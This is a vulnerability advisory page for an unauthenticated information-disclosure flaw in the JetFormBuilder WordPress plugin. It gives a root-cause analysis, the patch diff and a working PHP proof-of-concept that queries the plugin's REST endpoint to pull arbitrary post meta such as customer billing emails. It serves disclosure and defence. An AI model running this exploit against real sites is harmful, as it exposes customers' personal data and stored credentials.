Published : July 1, 2026

CVE-2026-13459: JetFormBuilder <= 3.6.3 Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'context' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.6.3
Patched Version 3.6.3.1
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13459:
This vulnerability affects the JetFormBuilder plugin for WordPress, up to and including version 3.6.3. The plugin fails to verify user authorization before serving options from a ‘get_from_db’ generator field. Unauthenticated attackers can access arbitrary _wp_postmeta keys, including sensitive WooCommerce billing PII, order totals, attachment paths, and credentials stored in post meta.

The root cause lies in the get-from-db.php generator file, specifically in the `generate_with_context()` method. The plugin directly used a watched field value as the meta key without validation. An attacker could supply a dynamic meta key via the ‘context’ parameter, overriding the static meta key. The code at lines 112-118 of the diff previously allowed any non-empty watched field value to replace the meta key, without checking if the user had permission to access the post or meta data.

Exploitation requires the site to have at least one published JetFormBuilder form with a ‘get_from_db’ generator field. An attacker must send a GET/POST request to the WordPress REST API endpoint (typically /wp-json/jet-form-builder/v1/generator-update) with parameters: ‘form_id’ (the form ID), ‘field_name’ (the target field), ‘generator_function’ set to ‘get_from_db’, and ‘context’ containing the desired meta key such as ‘_billing_email. All required parameters can be discovered by inspecting published forms.

The patch introduces server-side validation. In registry.php, it injects runtime metadata (allowed_meta_keys) derived from saved field choices. In get-from-db.php, the generate_with_context method now checks if the candidate meta key is in the allowlist before using it. New filters allow further customization, but the default behavior restricts meta keys to those explicitly configured in the form’s listened field choices, preventing arbitrary key access.

Impact is high for data confidentiality. Attackers can exfiltrate any stored post meta value, including WooCommerce customer PII (billing email, phone, address), order amounts, file paths, and any third-party tokens or credentials stored in post meta. The CVSS score of 5.3 reflects the serious but limited exploitability (requires a specific form configuration).

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/jetformbuilder/includes/generators/get-from-db.php
+++ b/jetformbuilder/includes/generators/get-from-db.php
@@ -74,8 +74,8 @@
 		return array(
 			array(
 				'single'      => true,
-				'description' => __( 'The Trigger Field value is used as the Meta Key and overrides the static setting above. If the Trigger Field is empty, the static Meta Key is used.', 'jet-form-builder' ),
-				'example'     => __( 'Choose the field whose value will be used as the dynamic Meta Key.', 'jet-form-builder' ),
+				'description' => __( 'The Trigger Field value can switch the Meta Key when it matches a saved Trigger Field choice or an allowed server-side key. Otherwise the static Meta Key is used.', 'jet-form-builder' ),
+				'example'     => __( 'Choose the field whose saved option values should be allowed as dynamic Meta Keys.', 'jet-form-builder' ),
 			),
 		);
 	}
@@ -100,7 +100,8 @@

 	/**
 	 * Generate options with context from dependent fields.
-	 * Uses the watched field value as meta key.
+	 * Context may override the meta key only when the candidate value is
+	 * explicitly allowed by saved field choices or server-side filters.
 	 *
 	 * @param array $settings Parsed settings.
 	 * @param array $context  ['field_name' => 'value'] from listened fields.
@@ -112,10 +113,40 @@
 			$context_value = reset( $context );
 			$meta_key      = is_scalar( $context_value ) ? trim( sanitize_text_field( (string) $context_value ) ) : '';

-			// Use watched field value as override only when it is non-empty.
-			// Otherwise keep static meta_key from generator settings.
 			if ( '' !== $meta_key ) {
-				$settings['meta_key'] = $meta_key;
+				$runtime          = $settings['_jfb_runtime'] ?? array();
+				$block_attrs      = $settings['_jfb_block_attrs'] ?? array();
+				$validate_dynamic = apply_filters(
+					'jet-form-builder/generators/get-from-db/validate_dynamic_meta_key',
+					true,
+					$meta_key,
+					$settings,
+					$context,
+					$runtime,
+					$block_attrs
+				);
+
+				if ( ! $validate_dynamic ) {
+					$settings['meta_key'] = $meta_key;
+
+					return $this->generate( $settings );
+				}
+
+				$allowed_meta_keys = $runtime['allowed_meta_keys'] ?? array();
+				$allowed_meta_keys = apply_filters(
+					'jet-form-builder/generators/get-from-db/allowed-meta-keys',
+					$allowed_meta_keys,
+					$meta_key,
+					$settings,
+					$context,
+					$runtime,
+					$block_attrs
+				);
+				$allowed_meta_keys = $this->sanitize_meta_keys_allowlist( $allowed_meta_keys );
+
+				if ( in_array( $meta_key, $allowed_meta_keys, true ) ) {
+					$settings['meta_key'] = $meta_key;
+				}
 			}
 		}

@@ -123,6 +154,32 @@
 	}

 	/**
+	 * Sanitize an allowlist of meta keys received from runtime or filters.
+	 *
+	 * @param mixed $allowed_meta_keys Meta keys allowlist.
+	 *
+	 * @return array
+	 */
+	private function sanitize_meta_keys_allowlist( $allowed_meta_keys ): array {
+		if ( ! is_array( $allowed_meta_keys ) ) {
+			return array();
+		}
+
+		$allowed_meta_keys = array_filter(
+			array_map(
+				static function ( $meta_key ) {
+					return is_scalar( $meta_key )
+						? trim( sanitize_text_field( (string) $meta_key ) )
+						: '';
+				},
+				$allowed_meta_keys
+			)
+		);
+
+		return array_values( array_unique( $allowed_meta_keys ) );
+	}
+
+	/**
 	 * Returns generated options list.
 	 *
 	 * @param array|string $args Settings array or legacy string.
--- a/jetformbuilder/includes/generators/get-from-users.php
+++ b/jetformbuilder/includes/generators/get-from-users.php
@@ -127,8 +127,8 @@
 		return array(
 			array(
 				'single'      => true,
-				'description' => __( 'The Trigger Field value overrides the static "Filter by Roles" setting above. If the Trigger Field is empty, the static roles are used.', 'jet-form-builder' ),
-				'example'     => __( 'Select the field that returns one or more user role slugs, for example: administrator, editor, subscriber.', 'jet-form-builder' ),
+				'description' => __( 'The Trigger Field value can narrow the configured "Filter by Roles" setting when it matches a saved Trigger Field choice or an allowed server-side role. If validation fails, the static roles are used.', 'jet-form-builder' ),
+				'example'     => __( 'Select the field whose saved option values should be allowed as dynamic user roles, for example: editor or subscriber.', 'jet-form-builder' ),
 			),
 		);
 	}
@@ -153,7 +153,7 @@

 	/**
 	 * Generates options with context from a dependent field.
-	 * Overrides the roles setting with the value from the listened field.
+	 * Narrows the saved roles setting with the value from the listened field.
 	 *
 	 * @param array $settings Parsed settings from block attributes.
 	 * @param array $context  Associative array ['field_name' => 'value'] from dependent fields.
@@ -163,26 +163,63 @@
 	public function generate_with_context( array $settings, array $context = array() ): array {
 		if ( ! empty( $context ) ) {
 			$context_value = reset( $context );
+			$context_roles = array();

 			// Support both single role (scalar) and multi-role (checkbox/multi-select array).
 			if ( is_array( $context_value ) ) {
-				$roles = array_filter(
-					array_map(
-						static function ( $role ) {
-							return sanitize_key( (string) $role );
-						},
-						$context_value
-					)
+				$context_roles = $this->sanitize_roles_list( $context_value );
+			} else {
+				$role = sanitize_key( (string) $context_value );
+				if ( $role ) {
+					$context_roles = array( $role );
+				}
+			}
+
+			if ( ! empty( $context_roles ) ) {
+				$runtime          = $settings['_jfb_runtime'] ?? array();
+				$block_attrs      = $settings['_jfb_block_attrs'] ?? array();
+				$validate_dynamic = apply_filters(
+					'jet-form-builder/generators/get-from-users/validate_dynamic_roles',
+					true,
+					$context_roles,
+					$settings,
+					$context,
+					$runtime,
+					$block_attrs
 				);

+				if ( ! $validate_dynamic ) {
+					$settings['roles'] = array_values( $context_roles );
+
+					return $this->generate( $settings );
+				}
+
+				$registered_roles = $this->get_registered_roles();
+				$allowed_roles    = $runtime['allowed_roles'] ?? array();
+				$allowed_roles    = apply_filters(
+					'jet-form-builder/generators/get-from-users/allowed-roles',
+					$allowed_roles,
+					$context_roles,
+					$settings,
+					$context,
+					$runtime,
+					$block_attrs
+				);
+				$allowed_roles    = $this->sanitize_roles_list( $allowed_roles );
+				$context_roles    = array_intersect( $context_roles, $registered_roles );
+
+				if ( ! empty( $allowed_roles ) ) {
+					$context_roles = array_intersect( $context_roles, $allowed_roles );
+				} else {
+					$context_roles = array();
+				}
+
+				$saved_roles = $this->normalize_saved_roles( $settings['roles'] ?? array() );
+				$roles       = empty( $saved_roles ) ? $context_roles : array_intersect( $context_roles, $saved_roles );
+
 				if ( ! empty( $roles ) ) {
 					$settings['roles'] = array_values( $roles );
 				}
-			} else {
-				$role = sanitize_key( (string) $context_value );
-				if ( $role ) {
-					$settings['roles'] = array( $role );
-				}
 			}
 		}

@@ -190,6 +227,62 @@
 	}

 	/**
+	 * Normalize configured roles into a sanitized list.
+	 *
+	 * @param mixed $saved_roles Configured roles.
+	 *
+	 * @return array
+	 */
+	private function normalize_saved_roles( $saved_roles ): array {
+		if ( is_array( $saved_roles ) ) {
+			return $this->sanitize_roles_list( $saved_roles );
+		}
+
+		return $this->sanitize_roles_list(
+			array_map( 'trim', explode( ',', (string) $saved_roles ) )
+		);
+	}
+
+	/**
+	 * Sanitize a list of role slugs.
+	 *
+	 * @param mixed $roles List of roles.
+	 *
+	 * @return array
+	 */
+	private function sanitize_roles_list( $roles ): array {
+		if ( ! is_array( $roles ) ) {
+			return array();
+		}
+
+		$roles = array_filter(
+			array_map(
+				static function ( $role ) {
+					return sanitize_key( (string) $role );
+				},
+				$roles
+			)
+		);
+
+		return array_values( array_unique( $roles ) );
+	}
+
+	/**
+	 * Return the registered WordPress role slugs.
+	 *
+	 * @return array
+	 */
+	private function get_registered_roles(): array {
+		$roles = wp_roles();
+
+		if ( ! $roles || empty( $roles->roles ) || ! is_array( $roles->roles ) ) {
+			return array();
+		}
+
+		return $this->sanitize_roles_list( array_keys( $roles->roles ) );
+	}
+
+	/**
 	 * Returns WP roles as options array for multi-select.
 	 *
 	 * @return array
--- a/jetformbuilder/includes/generators/registry.php
+++ b/jetformbuilder/includes/generators/registry.php
@@ -281,6 +281,13 @@
 			} else {
 				$settings = $generator->parse_settings( $block_attrs );
 			}
+
+			if ( isset( $block_attrs['_jfb_runtime'] ) && is_array( $block_attrs['_jfb_runtime'] ) ) {
+				$settings['_jfb_runtime'] = $block_attrs['_jfb_runtime'];
+			}
+
+			$settings['_jfb_block_attrs'] = $block_attrs;
+
 			return $generator->generate_with_context( $settings, $context );
 		}

--- a/jetformbuilder/jet-form-builder.php
+++ b/jetformbuilder/jet-form-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name:         JetFormBuilder
  * Plugin URI:          https://jetformbuilder.com/
  * Description:         Advanced form builder plugin for WordPress block editor. Create forms from the ground up, customize the existing ones, and style them up – all in one editor.
- * Version:             3.6.3
+ * Version:             3.6.3.1
  * Author:              Crocoblock
  * Author URI:          https://crocoblock.com/
  * Text Domain:         jet-form-builder
@@ -18,7 +18,7 @@
 	die();
 }

-const JET_FORM_BUILDER_VERSION = '3.6.3';
+const JET_FORM_BUILDER_VERSION = '3.6.3.1';

 const JET_FORM_BUILDER__FILE__ = __FILE__;
 const JET_FORM_BUILDER_SITE    = 'https://jetformbuilder.com';
--- a/jetformbuilder/modules/option-field/rest-api/generator-update-endpoint.php
+++ b/jetformbuilder/modules/option-field/rest-api/generator-update-endpoint.php
@@ -122,6 +122,7 @@
 		}

 		$context = $this->sanitize_context( $context );
+		$block_attrs['_jfb_runtime'] = $this->build_generator_runtime( $block_attrs, $form_post, $field_name );

 		// Scoped context storage for integrations (preferred over $_REQUEST).
 		$had_scoped_context = array_key_exists( 'jfb_generator_context', $GLOBALS );
@@ -266,4 +267,130 @@

 		return $sanitized;
 	}
+
+	/**
+	 * Build server-side runtime metadata for generator context validation.
+	 *
+	 * @param array    $block_attrs Target field block attributes.
+	 * @param WP_Post $form_post   Form post containing the target field.
+	 * @param string   $field_name  Target field name.
+	 *
+	 * @return array
+	 */
+	private function build_generator_runtime( array $block_attrs, WP_Post $form_post, string $field_name ): array {
+		$runtime = array(
+			'form_id'    => (int) $form_post->ID,
+			'field_name' => $field_name,
+		);
+
+		$generator_id   = $block_attrs['generator_function'] ?? '';
+		$saved_choices  = $this->get_saved_listened_field_choice_values( $block_attrs, $form_post );
+
+		if ( 'get_from_db' === $generator_id ) {
+			$runtime['allowed_meta_keys'] = $saved_choices;
+		}
+
+		if ( 'get_from_users' === $generator_id ) {
+			$runtime['allowed_roles'] = $saved_choices;
+		}
+
+		return $runtime;
+	}
+
+	/**
+	 * Extract saved choice values from all listened source fields.
+	 *
+	 * @param array    $block_attrs Target field block attributes.
+	 * @param WP_Post $form_post   Form post containing the target field.
+	 *
+	 * @return array
+	 */
+	private function get_saved_listened_field_choice_values( array $block_attrs, WP_Post $form_post ): array {
+		$choice_values = array();
+
+		foreach ( $this->get_listened_field_names( $block_attrs ) as $listen_field_name ) {
+			$listened_block = Plugin::instance()->form->get_field_by_name( $form_post->ID, $listen_field_name );
+
+			if ( empty( $listened_block ) ) {
+				continue;
+			}
+
+			$choice_values = array_merge(
+				$choice_values,
+				$this->get_saved_choice_values( $listened_block )
+			);
+		}
+
+		return array_values( array_unique( $choice_values ) );
+	}
+
+	/**
+	 * Normalize saved listened field names from block attributes.
+	 *
+	 * @param array $block_attrs Target field block attributes.
+	 *
+	 * @return array
+	 */
+	private function get_listened_field_names( array $block_attrs ): array {
+		$listened = $block_attrs['generator_listen_field'] ?? array();
+
+		if ( is_string( $listened ) ) {
+			$listened = '' === $listened ? array() : array( $listened );
+		}
+
+		if ( ! is_array( $listened ) ) {
+			return array();
+		}
+
+		return array_values(
+			array_filter(
+				array_map(
+					static function ( $field_name ) {
+						return sanitize_text_field( (string) $field_name );
+					},
+					$listened
+				)
+			)
+		);
+	}
+
+	/**
+	 * Extract saved option values from a source field block.
+	 *
+	 * Custom option fields are intentionally excluded because they accept
+	 * arbitrary user input and cannot provide a safe static allowlist.
+	 *
+	 * @param array $field_block Source field block.
+	 *
+	 * @return array
+	 */
+	private function get_saved_choice_values( array $field_block ): array {
+		$attrs = $field_block['attrs'] ?? array();
+
+		if ( empty( $attrs['field_options'] ) || ! is_array( $attrs['field_options'] ) ) {
+			return array();
+		}
+
+		if ( ! empty( $attrs['custom_option'] ) ) {
+			return array();
+		}
+
+		$values = array();
+
+		foreach ( $attrs['field_options'] as $option ) {
+			if ( ! is_array( $option ) || ! isset( $option['value'] ) || ! is_scalar( $option['value'] ) ) {
+				continue;
+			}
+
+			$value = trim( sanitize_text_field( (string) $option['value'] ) );
+
+			if ( '' === $value ) {
+				continue;
+			}
+
+			$values[] = $value;
+		}
+
+		return $values;
+	}
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13459 - JetFormBuilder <= 3.6.3 Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'context' Parameter

$target_url = 'http://example.com'; // Change to target WordPress URL
$form_id = 1; // Discovered form ID with get_from_db generator
$field_name = 'my_field'; // Field name using get_from_db generator
$meta_key = '_billing_email'; // Arbitrary meta key to extract

// Step 1: Build REST API endpoint URL
$endpoint = $target_url . '/wp-json/jet-form-builder/v1/generator-update';

// Step 2: Prepare POST data
$post_data = array(
    'form_id' => $form_id,
    'field_name' => $field_name,
    'generator_function' => 'get_from_db',
    'context' => array($meta_key) // The meta key we want to query
);

// Step 3: Send the request using cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Display the result
if ($http_code == 200 && !empty($response)) {
    echo "[+] Successfully retrieved data for meta key '$meta_key':n";
    $data = json_decode($response, true);
    print_r($data);
} else {
    echo "[-] Request failed. HTTP status: $http_coden";
    echo "Response: $responsen";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.